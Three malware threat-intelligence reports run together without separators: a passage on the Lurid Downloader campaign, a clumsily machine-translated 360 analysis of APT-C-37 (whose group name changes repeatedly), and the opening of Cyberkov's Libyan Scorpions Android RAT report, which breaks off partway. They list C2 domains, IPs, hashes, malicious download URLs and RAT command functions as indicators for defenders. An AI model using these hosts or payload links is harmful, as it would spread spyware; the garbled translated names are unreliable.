8 http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfdtebba8420c261102635de4d20bdd772f2 COMMAND AND CONTROL INFRASTRUCTURE Attackers often maintain a network of command and control servers, not just a single one.
Often, the malware used in targeted attacks contains one or more command and control locations.
By linking together the domain names that are present in related malware samples, along with domain names registered by the same email address and domain names hosted on the same web servers we were able to map out the command and control infrastructure of the attackers.
In total, we found 15 domain names associated with the attackers and 10 active IP addresses.
The domain names were registered by two different email addresses bruce_tuneryahoo.com and icqmaster163.com.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 11      RESEARCH PAPER THE LURID DOWNLOADER DOMAINS REGISTRATIONS mailru-vip.com yandex-vip.com google-offi ceonline.com offi ce-helppane.com foxit-pro.com ymail-vip.com ymail-pro.com yandex-pro.com google-offi ce.com mailru-pro.com xiaohu wang bruce_tuneryahoo.com 86.01089464156 fax: 86.01089464156 bei jing shi beijing beijing 102600 CN hoticq.com redhag.com zadhc.com lasmail.com hotoicq.com jason bush icqmaster163.com 86.01062311307 fax: 86.01062311307 No.20 Xueyuan Road,Haidian District,Beijing beijing beijing 100083 CN Rather than use the root domains, the attackers use a variety of sub-domains.
These various sub-domains resolve to 10 different IP address spread across 3 different IP address ranges assigned to 2 providers: Krypt Technologies in the U.S. and UK2/100mb in the U.K. Additional malware samples that connect to this command and control infrastructure are: MD5 Domain IP ADDRESS ed69041fbe470fe0f2c1fd837efcb6e7 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 d66948e4e90baff08d24c77c93788597 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 2d93cbe969d3b5f02d4f9f1a3eb39b85 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 465ca2eef82b412949eeaa9fa3cc5c75 setup.mailru-vip.com 109.123.126.143 e1833932053171da15c60e6c2fca708a superkiller.mailru-vip.com sexinsex.ymail-vip.com 109.123.126.156 e38ccff8e7fb922fe48b54b4032fec50 setup.mailru-vip.com 109.123.126.143 (184.95.36.75) 744670ca4531f7ceb72a75ae456e8215  microsoft.offi ce-helppane.com 109.123.126.151 f0f31112af491f56af7cc0802ba96c0f microsoft.offi ce-helppane.com win.foxit-pro.com update.ymail-vip.com 109.123.126.151 106.123.126.151 2a21eb36cc2a0a24149a4821aa328b7b  microsoft.offi ce-helppane.com 109.123.126.151 5403e0bda1db72e5e862e9169db4e1d7  led.offi ce-helppane.com 174.139.13.122 (184.95.36.75) 57d99d67c3e8987e812c9332d6774794 press.foxit-pro.com 963e39d8675b5bb3d2f4e6da45c51bb0 press.mailru-pro.com (184.22.240.174) 166d6cd28c9df20c30fed220a3132345 press.ymail-pro.com 46.23.67.226 89b98f66650cb29d0926713fda3b5bbc press.ymail-pro.com 46.23.67.226 (184.22.251.12) The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 12      RESEARCH PAPER THE LURID DOWNLOADER d8815fe64eb5321add412554908da28a help.lasmail.com 109.123.126.157 22caf76a780c54ddce7fa139100fa54e mail.lasmail.com 109.123.126.157 (58.64.149.29) 140c69ea9a963100e75497b33820f1da help.lasmail.com 109.123.126.157 (204.12.197.70) 8f65204d8440b7be2b52908e35d19124 mail.lasmail.com 109.123.126.157 (58.64.149.29) (204.12.197.70) f993d4cabe5021c96d6a80192f142dca support.hotoicq.com 109.123.126.157 74bdabd1077d640f7d21c6cfb14a0348 204.12.197.70 22caf76a780c54ddce7fa139100fa54e mail.lasmail.com 109.123.126.157 (58.64.149.29) 140c69ea9a963100e75497b33820f1da help.lasmail.com 109.123.126.157 (204.12.197.70) 8f65204d8440b7be2b52908e35d19124 mail.lasmail.com 109.123.126.157 (58.64.149.29) (204.12.197.70) f993d4cabe5021c96d6a80192f142dca support.hotoicq.com 109.123.126.157 74bdabd1077d640f7d21c6cfb14a0348 204.12.197.70 COMPROMISED ORGANIZATIONS After mapping out and monitoring the command and control network used in this campaign we were able to retrieve a listing of the compromised computers connecting to these servers.
This list of compromised computers contains  1465 unique hosts (Hostname  Mac address as stored by the CC) with 2272 unique external IP addresses connecting to the command and control network primarily from Russia (1063), Kazakhstan (325) and Ukraine (102) along with numerous other countries in the CIS (former Soviet Union).
There were also signifi cant numbers of compromises in Vietnam, India, Mongolia and China.
In total, there were victims in 61 different countries.
The data covers compromised computers that connected to the command and control servers in June and July 2011.
The top 10 countries of victims (based on the 2272 IP addresses) are: RU 1063 KZ 325 UA 102 VN 93 UZ 88 BY 67 IN 66 KG 49 MN 42 CN 39 The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 13      RESEARCH PAPER THE LURID DOWNLOADER MALWARE CAMPAIGNS As noted earlier, there is a unique identifi er built in to instances of the malware sent out by the attackers that allows them to keep track of the computers compromised by specifi c campaigns.
In total, we found 301 campaign codes.
This means that the attackers sent out at least 301 different instances of the Lurid Downloader.
There are high concentrations of victims within a single country for each instance of the malware campaign indicating that the distribution of the malware is targeted at specifi c countries or regions.
Campaign Count Countries strong 668 All 68 of the compromised counters were in Vietnam.
ejun0708 63 5 in Russia, 3 in Ukraine and 1 each in Czech Republic, Kazakhstan, Switzerland, Tajikistan and Belarus ejun0614 42 27 in Russia, 3 in China, 3 in Kyrgyzstan, 2 in Tajikistan and 1 each in UK, US, S. Korea, Czech republic, Pakistan, Germany and Kazakhstan.
strongNewDns 34 All 34 of the compromised counters were in Vietnam.
ejun0509 32 31 in Russia, 1 in Ukraine ejun0511 29 21 in Russia, 4 in Ukraine, 2 in Kazakhstan, and 1 each in Czech Republic and Azerbaijan 7-28 28 24 in Vietnam and one each in UAE, Cambodia ,Thailand and China ejun0503 25 23 in Russia and 1 each in Ukraine and Czech Republic 0dayaug12.exe 22 20 in Belarus and 2 in Kazakhstan C:\WINDOWS\ system32\desp.exe 22 12 in US, 5 in Russia, 3 in The Netherlands, and 1 each in Switzerland and the European Union.
There were also specifi c campaigns that affected a very small number of victims.
In fact, nearly 60 (59.4) of all the campaigns affected only 1 or 2 victims.
There were 115 campaigns that only compromised 1 victim and 64 campaigns that only compromised 2 victims.
This indicates the precision in malware campaigns that target specifi c entities.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 14      RESEARCH PAPER THE LURID DOWNLOADER NOTEWORTHY COMPROMISED ORGANIZATIONS We were able to use reverse DNS queries and WHOIS lookups to determine the identity some of the compromised hosts.
There are high profi le diplomatic organizations that have been compromised as well as agencies relating to space and research institutions.
Country Sector Date Camapign France GOV Sat Jun 18 10:22:22 2011 0dayjun14.exe Switzerland GOV Mon Jul 11 11:28:02 2011 LOGO076 UK MEDIA Thu Jun 16 08:18:44 2011 0dayapr13.exe Germany SPACE Mon Jun 20 09:43:48 2011 6-7 Spain SPACE Mon Jul  4 11:38:35 2011 6-27 Russia GOV Tue Jun  7 12:15:34 2011 lh0603hy Russia GOV Mon Jul 11 07:17:46 2011 ejun0708 Russia GOV Tue Jun 28 00:54:16 2011 110608 Russia SPACE/GOV Wed Jul 13 04:21:20 2011 aoo526pdf Russia SPACE Wed Jul 13 07:14:38 2011 winupdate712 Russia SPACE Mon Jul 25 08:43:40 2011 6-7 Russia SPACE Wed Jul 13 02:45:59 2011 coo328xls Russia RESEARCH/GOV Wed Jul 13 06:06:06 2011 aoo0516pdf Russia RESEARCH Wed Jul 20 12:01:00 2011 6-27 Russia RESEARCH Mon Jul 11 07:38:14 2011 winupdate0706 Russia RESEARCH Tue Jun 14 08:09:23 2011 110303 Russia RESEARCH Wed Jul 13 02:46:24 2011 coo0609doc Russia RESEARCH Wed Jul 13 02:47:33 2011 sat0608old Russia RESEARCH Tue Jun 14 02:49:58 2011 winupdate Russia RESEARCH Tue Jun 14 02:38:52 2011 satellite0608 Russia MEDIA Tue Jun 14 04:25:12 2011 ejun0125 China (Russia) BUSINESS Tue Jun  7 13:17:39 2011 lh0603hy Russia BUSINESS Tue Jun 14 07:28:25 2011 z11apr27aboky Russia GOV Tue Jun 14 11:49:35 2011 z10nov23k Russia POLITICAL PARTY Tue Jun 14 14:05:24 2011 LOGO69 Russia (Ukraine) GOV Mon Jul  4 10:36:46 2011 LOGO704 Turkmenistan GOV Mon Jun 13 07:28:59 2011 0dayjun09.exe Kyrgyzstan GOV Mon Jun 13 07:33:12 2011 0dayjun09.exe Kazakhstan GOV Mon Jun 13 06:06:47 2011 0daydec08.exe Kazakhstan GOV Mon Jun 27 15:15:42 2011 smross.exe The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 15      RESEARCH PAPER THE LURID DOWNLOADER Ukraine GOV Wed Jun 22 15:43:26 2011 LOGO615 Kazakhstan GOV Mon Jun 13 06:06:47 2011 0daydec08.exe Kazakhstan GOV Mon Jun 27 15:15:42 2011 smross.exe Ukraine GOV Wed Jun 22 15:43:26 2011 LOGO615 Belarus GOV Thu Jul 14 17:58:48 2011 0dayaug12.exe Germany (Kazakhstan) GOV Tue Jun 21 10:07:49 2011 LOGO621 Austria (Kyrgyzstan) GOV Mon Jun 13 09:34:45 2011 LOGO524 Russia (Tajikistan) GOV Tue Jun  7 12:00:03 2011 lh0526w.exe Kazakhstan GOV Thu Jul  7 05:44:34 2011 LOGO0705 Kyrgyzstan (Kazakhstan) GOV Tue Jul 12 10:57:17 2011 z10dec09UP.exe Kazakhstan (China) GOV Tue Jun 14 08:58:53 2011 LOGO69 Kazakhstan RESEARCH Thu Jun 16 08:24:31 2011 LOGO616 Belarus RESEARCH Wed Jul 13 05:37:40 2011 services712 Armenia RESEARCH Fri Jun 24 07:25:18 2011 LOGO624 Kazakhstan MEDIA Mon Jun 13 08:17:29 2011 z10nov25knb Vietnam GOV Sun Jul  3 09:06:57 2011 strong China BUSINESS Sun Jun 12 06:02:11 2011 lh0517e.exe Uzbekistan GOV Tue Jun 14 05:41:09 2011 0dayjan27 Vietnam GOV Tue Aug 2 12:57:36 2011 7-28 DATA EX-FILTRATION While we were unable to recover the data obtained by the attackers, we were able to collect some of the command issued by the attackers that hint at their objectives.
We found that the attackers often issued the LS command to send a directory listing from specifi c directories on the compromised computers back to the command and control server.
We also observed the use of the SEND FILE that ordered the compromised computers to compress, split and upload specifi c fi les (.rar, .xls, .doc) to the command and control server.
However, we were unable to recover the ex-fi ltrated data.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS TREND MICRO Trend Micro Incorporated is a pioneer in secure content and threat management.
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16      RESEARCH PAPER THE LURID DOWNLOADER ATTRIBUTION Determining who is ultimately behind targeted malware attacks is diffi cult as it requires a combination of technical and contextual analysis and the ability to connect disparate pieces of information together over a period of time.
Moreover, any one researcher typically does not necessarily have all these pieces of information and must interpret the available evidence.
Too often, the determination of attribution is based on easily spoofed evidence such as IP addresses.
While many of these attacks are attributed to China, in this case, the IP addresses of the command and control servers were located in the United States and the United Kingdom.
However, the registration information of the domain names used indicates that the owners are in China.
In either case, the information is not diffi cult to manipulate.
The use of Enfal, the family of malware to which Lurid Downloader belongs, has been historically linked with threat actors in China.
In this case, the attack vector that we were able to analyze was related to the Tibetan community which indicates an association with China.
However, China was also a victim of Lurid Downloader.
CONCLUSION In this report we have analyzed targeted malware attacks that have compromised sensitive locations in Russia, CIS countries and around the world.
The focus of the attacks appears to be on government networks and diplomatic missions as well and research institutions and space related agencies.
We found that the attackers engaged in over 300 campaigns and kept careful records of their victims and to what campaign compromised them.
Our analysis of the campaigns reveals that attackers engage in attacks that target communities in specifi c geographic locations as well extremely targeted campaigns that only affect one or two victims.
The precise nature of targeted malware attacks increases the diffi culty of defense.
With signifi cant reconnaissance, and possibly information gained from previously successful incursions into the targets network, the threat actors behind targeted malware attacks are able to customize their attacks to increase the probability of success.
Therefore, defenses against targeted malware attacks need to focus on detection and mitigation and not simply on prevention.
Through the exposure of the Lurid Downloader network, we aim to enable a better understanding of the extent and frequency of such attacks as well as the challenges that targeted malware attacks pose for traditional defenses.
Defensive strategies can be dramatically improved by understanding how targeted malware attacks work as well as trends in the tools, tactics and procedures of the threat actors behind such attacks.
By effectively using threat intelligence derived from external and internal sources combined with security tools that empower human analysts, organizations are better positioned to detect and mitigate targeted malware attacks.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS
Pat Bear (APT-C-37): Continued Exposure to an Armed Organizations Attacks blogs.360.cn/post/analysis-of-apt-c-37.html March 25, 2019 Pat Bear (APT-C-37): Continued to expose attacks on an armed organization I. Overview Since October 2015, the Pat Bear Organization (APT-C-37) has launched an organized, planned, and targeted long-term uninterrupted attack against an armed organization.
Its attack platform is Windows and Android.
Up to now, 360 Beaconlab has captured 32 Android platform attack samples, 13 Windows platform attack samples, and 7 CC domain names.
Due to its own political and religious issues, an armed organization has become the target of many hackers and countries.
In March 2017, an armed group, the Amaq Media Channel, issued a warning message reminding visitors that the site has been infiltrated, and anyone who visits the site will be asked to download a virus file that pretends to be a Flash installer.
From the news, we determined that an armed organization is the target of the action, and its load delivery method includes at least a puddle attack.
Through analysis, we found that a major CC used by the racquet bear organization is located in a certain country in the Middle East, and the CC used by the golden rat organization [1] of the same period belongs to the same network segment.
Further analysis and comparison, the two organizations have strong correlation, and both contain their own unique RAT.
Since the target of the patted bear organization is aimed at an armed organization that supports dual-platform attacks, there has been only one unique animal in the Middle East with a soldier certificate in history, combining some other characteristics of the organization and 360 pairs of APT.
The organizations naming rules, we named the organization a role name in the DOTA game - pat the bear.
1/15 http://blogs.360.cn/post/analysis-of-apt-c-37.html Figure 1.1 Key time event points related to patted bear attacks Second, the load delivery The way of patted bear tissue load delivery is mainly puddle attack.
Puddle attack Al Swarm News Agency website (see Figure 2.1) is a media website belonging to an armed organization.
For the same reason, it has also suffered various attacks from all over the world.
It has changed several domain names and the website has been offline.
In addition to the puddle attack on the Amaq media website mentioned above, we found that Al Swarm News Agency was also used by the organization for puddle attacks.
2/15 Figure 2.1 Al Swarm News Agency website (Note: Obtained by archive) The puddle attack mode is to replace the normal APP of the Al Swarm station with a malicious APP inserted into the RAT.
The RAT specific download link and the link corresponding file MD5 are shown in Table 1.
Malicious download link https://sawarim.net/apps/Sawarim.apk Domain name status Invalid Download APK file MD5 Bb2d1238c8418cde13128e91f1a77ae7 Table 1 Android RAT program specific download link and link corresponding file MD5 In addition to the above two puddle attacks against an armed organizations news media website, we also found that some other historical puddle attacks used by the organization are shown in Table 2, including the specific download links and links for Android and Windows RAT programs.
Corresponding file MD5.
Malicious download link http://androids-app.com/downloads/Youtube_v3_4.apk Domain name status Invalid Download APK file MD5 Dc1ede8e2d3206b04cb95b6ae62f43e0 Malicious download link http://androids-app.com/SystemUI.exe 3/15 https://sawarim.net/apps/Sawarim.apk http://androids-app.com/downloads/Youtube_v3_4.apk http://androids-app.com/SystemUI.exe Domain name status Invalid Download PE file MD5 D2c40e2183cf18855c36ddd14f8e966f Malicious download link http://snapcard.argia.co.id/woocommerce/wp- content/plugins/Adobe_FlashPlayerX86_64.exe Domain name status Invalid Download PE file MD5 8c49833f76b17fdaafe5130f249312ca Malicious download link http://snapcard.argia.co.id/woocommerce/wp- content/plugins/Adobe_FlashPlayer_installX86.exe Domain name status Invalid Download PE file MD5 E6e676df8250a7b930b2d016458225e2 Malicious download link http://androids-app.com/downloads/Youtube_v3_4.apk Table 2 RAT program specific download link and link corresponding file MD5 Third, the way of induction The patted bear organization mainly uses the following two induction methods in this operation: Camouflage with normal APP function In order to be better evasive, in addition to camouflage the file icon, the RAT is also inserted into the normal APP, such as an app called     , which displays the normal interface after running.
However, when the specified broadcast is received, espionage occurs in the background.
4/15 http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayerX86_64.exe http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayer_installX86.exe Figure 3.1 Camouflage APP      with two RATs File icon camouflage Figure 3.2 Disguised application software icon Fourth, RAT attack sample analysis Up to now, the bat shooting organization has used several different RATs for Android and Windows.
Android There are three RATs used in the Android side.
Two of them (DroidJack and SpyNote) are more frequently used commercial RATs.
They have been spread on multiple hacking forums 5/15 and have been detected and exposed by many security companies.
And we think that it was developed specifically for this attack, we are named SSLove, which only appeared in the event and has been updated in several versions.
DroidJack Droidjack is an extremely popular RAT with its own official website, powerful and convenient management tools.
The organization uses Droidjack in addition to direct use it will also be inserted into the normal APP to hide, interestingly, SSLove will also be inserted into the app, which means that the app will have two RATs at the same time.
Figure 4.1 Droidjack management tool interface diagram SpyNote SpyNote is similar to Droidjack.
Although the Snap Bear organization uses SpyNote, the RAT has been used for a limited number of times in this attack.
6/15 Figure 4.2 SpyNote management tool interface diagram SSLove This is a RAT that was not previously exposed.
According to the special character runmylove contained in the RAT, combined with it is the first RAT found to use SqlServer to implement instruction interaction, we named SSLove.
The latest version of SSLove has features such as stealing text messages, contacts, WhatsApp and Telegram data, and uploading files using FTP.
The organization uses SSLove in the same way as the Droidjack, one of which is used directly, in which the Al Swarm website mentioned above is used by the camouflage APP used by the bear organization for puddle attacks the other is the insertion.
Hide it in the normal app.
7/15 Figure 4.3 SSLove command function related data table Windows There are three RATs used on the Windows side, all of which have been popular in the Middle East for several years.
Two of them (njRAT and H-worm) have been exposed multiple times, but they are still active.
NjRAT NjRAT[2], also known as Bladeabindi, can control the registry, processes, files, etc.
of the controlled terminal through the control terminal, and can also record the keyboard of the controlled terminal.
At the same time, njRAT uses a plug-in mechanism to extend the functionality of njRAT through different plug-ins.
The organization is mostly not directly used when using njRAT, but is sub-encapsulated on the basis of njRAT, using C to add a shell to njRAT, and a lot of confusion about the shell code.
The role of the shell is to load njRAT in memory to prevent njRAT from being detected by anti-virus software.
This is the case when the Amaq website mentioned above is used by the organization to masquerade as an Adobe Flash Player.
8/15 Figure 4.4 njRAT extracted from malicious samples disguised in Amaq puddle activity H-Worm H-Worm is a VBS (Visual Basic Script) based RAT.
For information on the RAT, refer to FireEyes previous detailed report Now You See Me - H-worm by Houdini [3].
The attack used the H-Worm version after the confusion, and after the confusion was removed, we found that the list of instructions did not change.
Figure 4.5 Confused H-Worm code snippet instruction Features Excecute Execute server command Update Update load Uninstall Uninstall yourself Send download file Site-send Specify website download file Recv upload data Enum-driver Enumeration driver Enum-faf Enumerate files in the specified directory 9/15 Enum-process Enumeration process Cmd-shell Execution shell Delete Delete Files Exit-process end process Sleep Set script sleep time instruction Features Table 3 H-Worm sample instruction and function correspondence Fkn0wned Fkn0wned is a RAT written in VB.NET.
This attack uses an earlier version.
It only receives the DOWNLOAD command.
The DDoS function code does not work.
The RAT is actually a downloader.
Figure 4.4 fkn0wned configuration information and command response code map CC, IP and partial sample correspondence 10/15 Figure 4.5 CC, IP and partial sample correspondence V. Distribution of the attacked area Up to now, 360 Campfire Lab found that there were 11 countries affected by the attack on the bear organization attack.
Through inquiry, it can be known that there are some armed organizations in these countries.
Obviously, the cause of this distribution is caused by several targeted puddle attacks used by the organization.
11/15 Figure 5.1 Distribution of the attacked area Sixth, traceability and relevance 360 bonfire laboratory through the analysis of the bat bat attack activity, combined with the previous analysis of the gold rat organization, we found that the two organizations removed the attack target and their respective exclusive RAT, the two have very Strong relevance.
They are all familiar with Arabic and have been working on Android and Windows platforms for several years.
They are good at puddle attacks.
A variety of RATs are used, most of which are used by both parties.
Both organizations used CC on the same network segment for two time periods.
Seven, summary With the geopolitical conflicts and other issues, the parties tried to take the lead through network intelligence and cyberattack activities, further causing the cyberspace conflict to intensify.
The racquet bear organization is another spy intelligence activity organization based on this.
Without the peace factor, the attack cannot be stopped.
Recent reports claim that an armed group in a certain country in the Middle East has been attacked and declared dead.
This may mean that the attack on the racquet bear organization will change, and finally hope that peace will last long Appendix A: Sample MD5 12/15 Android attack sample MD5 Windows attack sample MD5 12100da4635765f8d69d684f742a47bd 085e195c9b14ef099171805c44ff4914 1d5e36be4b94289f214447964ede688d 1a655affc8d5fffa48915a934f31f95e 1daf7e38d8d918e8e087ad590b299218 291c3f5b9b53381283a044e337899c84 1eb8e8667ed7d2a07076e3d240207613 6d6961ced0e77c28f881db579301a927 249aad5d2722b69aac7ed27c9e669c79 8bb342a3e770717bd8f39ac12a687b54 2706be45411ed22ce456b8fe8273b285 8c49833f76b17fdaafe5130f249312ca 31aad6045f403fcd397e19cad4f80d1f Ba1249123e808e744aeb96753bc119d4 3751db0d511305b39601e09959491d8e Bfaf6389cb9fba695daa8552f697d40b 430a0b26cc53f7d39b8192d0b3f79837 D2c40e2183cf18855c36ddd14f8e966f 4333a9e5d6de6e12b368f5a943a30a0e D52f57b6597e55c40c21b0f8c763cd69 484d74ebd0e3586e2ff694017dcaa9e3 D9153bdf30e0a3ab31601e43d85c9949 51f7d6fec2be62fc29cfb94f52803428 Daf7f053cf78690ff0c6ec0384d85bf2 523845736fc92ea80e9880641b768dc1 E6e676df8250a7b930b2d016458225e2 71d0cea1bee13d1e36b5a53788001b85 7d50a9bd474a7c5878ac8e0e4a183a8b 80382a7f2eb4f292a28554bc95b57938 98d584d4d575e31f9f4f70c9be05166f A31f1ce49662a60daa46180d02ab6218 A41c5f227ac2816355ce4cf650993749 A95d57eaaf7847a07e62c6ea0fecbfb7 B7d12ab736b41d503e93a0bd6125cf62 B87f516b2ee0e6df09510f75b16c25ef Bb2d1238c8418cde13128e91f1a77ae7 Bef2dddd8892a4985879971cf437d79b 13/15 C9e434e780b5bed397c543bb3264deea D195511307a2c5ac52bebf8a98b9dfae D207a876369681ed476f650d808a25a8 Dc1ede8e2d3206b04cb95b6ae62f43e0 E92651bb3ad8c5c3acf38dedb2abc2ca Ea6e187934fc1459d3b04b0898496b2c Eb3310f19720abddc34c4602983e4f3c F66d99406819ca96b47d7ff0881a0a1a Android attack sample MD5 Windows attack sample MD5 Appendix B: CC 66.85.157.86 82.137.255.0 Da3da3.duckdns.org Samd1.duckdns.org Samd2.duckdns.org Sorry.duckdns.org Btcaes2.duckdns.org Appendix C: Reference Links [1] https://ti.360.net/blog/articles/analysis-of-apt-c-27/ [2] https://en.wikipedia.org/wiki/Njrat [3] https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by- houdini.html This article links: http://blogs.360.cn/post/analysis-of-apt-c-37.html -- EOF -- 14/15 https://ti.360.net/blog/articles/analysis-of-apt-c-27/ https://en.wikipedia.org/wiki/Njrat https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html http://blogs.360.cn/post/analysis-of-apt-c-37.html 15/15 Pat Bear (APT-C-37): Continued Exposure to an Armed Organizations Attacks Pat Bear (APT-C-37): Continued to expose attacks on an armed organization I. Overview Second, the load delivery Third, the way of induction Fourth, RAT attack sample analysis V. Distribution of the attacked area Sixth, traceability and relevance Seven, summary Appendix A: Sample MD5 Appendix B: CC Appendix C: Reference Links
Cyberkov Co. Ltd. www.cyberkov.com infocyberkov.com Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com Hunting Libyan Scorpions Investigating a Libyan Cyber Espionage Campaign Targeting High-Profile Influentials TLP: White For public distribution 18/September/2016 http://www.cyberkov.com/ Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     1 1 Hunting Libyan Scorpions Legal Notice: This document is intended for public use and distribution.
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Document Control Document Title Hunting Libyan Scorpions TLP Classification White Document Version 1.0 Creation Date 01/September/2016 Last Modification Date 18/September/2016 Distribution Public Distribution Reference PD-001 Cyberkov Contact Details Name Cyberkov Media Office Email mediacyberkov.com Phone Number 965  22445500 Fax Number 1 (888) 433-3113 Office Number 965 22445500 General query  infocyberkov.com Trademark Cyberkov and the Cyberkov logo   are trademarks of Cyberkov Co. Ltd. All other trademarks mentioned in this document are owned by the mentioned legacy body or organization.
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Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     2 2 Hunting Libyan Scorpions Table of Contents Document Control ............................................................................................................................................... 1 Cyberkov Contact Details .................................................................................................................................... 1 Executive Summary ............................................................................................................................................. 3 Tactics, Techniques and Procedures (TTPs)......................................................................................................... 4 Malware Analysis ................................................................................................................................................. 6 Command and Control Communication ............................................................................................................ 21 Sinkhole ......................................................................................................................................................... 21 Real C2 ........................................................................................................................................................... 24 Threat Actor and Attribution ............................................................................................................................. 25 Threat Actors Infrastructure .............................................................................................................................. 29 To Be Continued ............................................................................................................................................. 33 Mitigating Libyan Scorpions Attacks on Android .............................................................................................. 33 Indicators of Compromise (IOCs) ...................................................................................................................... 33 Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     3 3 Hunting Libyan Scorpions Using malwares as weapon in an active warzone such as Libya, make the victims easy targets for assassination or kidnapping by tracking their physical locations and monitoring them day and night.
Executive Summary Libya maybe known in non-stable political system, civil war and militant groups fighting for the land and oil control but it is definitely not known in cyber malicious activities, cyber espionage and hacking groups.
No parties in Libya before this analysis reported to use cyber attacks, malwares nor recruit hackers to spy on their rivals.
Today we have a different story.
In the past weeks on 6 August 2016, Cyberkov Security Incident Response Team (CSIRT) received a numerous Android malwares operating in different areas in Libya especially in Tripoli and Benghazi.
The malware spreads very fast using Telegram messenger application in smartphones, targeting high-profile Libyan influential and political figures.
The malware first discovery was after a highly Libyan influential Telegram account compromised via web Telegram using IP address from Spain.
The following day, the attackers spread an Android malware binded with legitimate Android application from the compromised Telegram account to all his contacts pretending it is an important voice message (misspelled it by Voice Massege.apk) which indicates a non-english (maybe an Arabic) attacker.
After spreading the malware, more Android smartphones has been infected using the same technique (via Telegram) and then repost the malware again and again making a network of victims.
Analysis of this incident led us to believe that this operation and the group behind it which we call Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.
Also, the analysis of the incident led to the discovery of multiple malwares targeting Android and Windows machines.
Libyan Scorpions threat actors used a set of methods to hide and operate their malwares.
They appear not to have highly technical skills but a good social engineering and phishing tricks.
The threat actors are not particularly sophisticated, but it is well-understood that such attacks dont need to be sophisticated in order to be effective.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     4 4 Hunting Libyan Scorpions Tactics, Techniques and Procedures (TTPs) Libyan Scorpions is believed to be a political motivated group targeting a high-level influential and political figures in multiple cities within Libya.
Libyan Scorpions first compromised a personal Telegram account for a Libyan influential person with unknown vector.
The victim received a push notification from his Telegram app that someone from Spain is logged into his account: The victim mistakenly deleted Telegram application from his phone thinking that this is going to stop the attacker(s).
Second day, the attacker used the victim phone number to spear phish his contacts in Telegram by pretending that the real person is sending a voice message while the file is actually a malicious APK (Android Package) file.
This APK file targets only Android-based smartphones.
Once the new victim click on the APK file, the application installs itself in the device without any problem and is fully functional.
The icon of the application appears in the Apps menu named (URL Shortener).
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     5 5 Hunting Libyan Scorpions The real malicious code is running in the background as Android service1.
1 https://developer.android.com/guide/components/services.html https://developer.android.com/guide/components/services.html Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     6 6 Hunting Libyan Scorpions Malware Analysis Cyberkov Security Incident Response Team (CSIRT) started analyzing the APK file (malware) and the first step was to unpack it.
After unpacking with apktool and reading (AndroidManifest.xml) file, it appears that the application is a malware injected inside a legitimate application having java package name: de.keineantwort.android.urlshortener.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     7 7 Hunting Libyan Scorpions Searching for the application in Google Play store with that specific package name (https://play.google.com/store/apps/details?idde.keineantwort.android.urlshortener) yields: https://play.google.com/store/apps/details?idde.keineantwort.android.urlshortener Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     8 8 Hunting Libyan Scorpions The application exists in the store and the Libyan Scorpions hacking group took an instance of the APK and injected their malware into that legitimate application to spread it.
The real application is created by keineantwort.de and we have verified it from their main website: Going back to (AndroidManifest.xml) file, the malware register itself as receiver of almost all intents and request almost all permissions available in Android system Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     9 9 Hunting Libyan Scorpions Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     10 10 Hunting Libyan Scorpions The malware can access location, network state, battery status, Bluetooth, camera, capturing audio, internet, , etc.
After launching the malicious application for the first time, it checks if the Android device is rooted or not and if rooted, it asks for root permission.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     11 11 Hunting Libyan Scorpions Carrying on the reverse engineering of the malware, we found a file called config.json which is a base64 encoded json file containing the configuration of the malware and its Command and Control (C2).
The characteristics of the malware (a.txt and config.json files) and the functionality of it is very similar to JSocket and AlienSpy famous Android Remote Access Tools (RATs).
Decoding the config.json file using base64 decoder shows that the C2 hostname/domain is: winmeif.myq-see.com using the port 64631 Resolving the hostname gives: 41.208.110.46 which is a static Libyan IP address owned by Libya Telecom and Technology Backbone.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     12 12 Hunting Libyan Scorpions Going back to the domain/hostname used by the Libyan Scorpions hacking group, it appears that myq- see.com is a dynamic DNS service open for the public.
Tel: 965 22445500  Fax: 1 (888) 4333113  Email: infocyberkov.com  Website: www.cyberkov.com     13 13 Hunting Libyan Scorpions Scrolling down the web page, it is created by Q-See which is a company that sells cameras and it seems that Q-See published this service to help their customers to connect to their IP cameras regardless of IP changes.
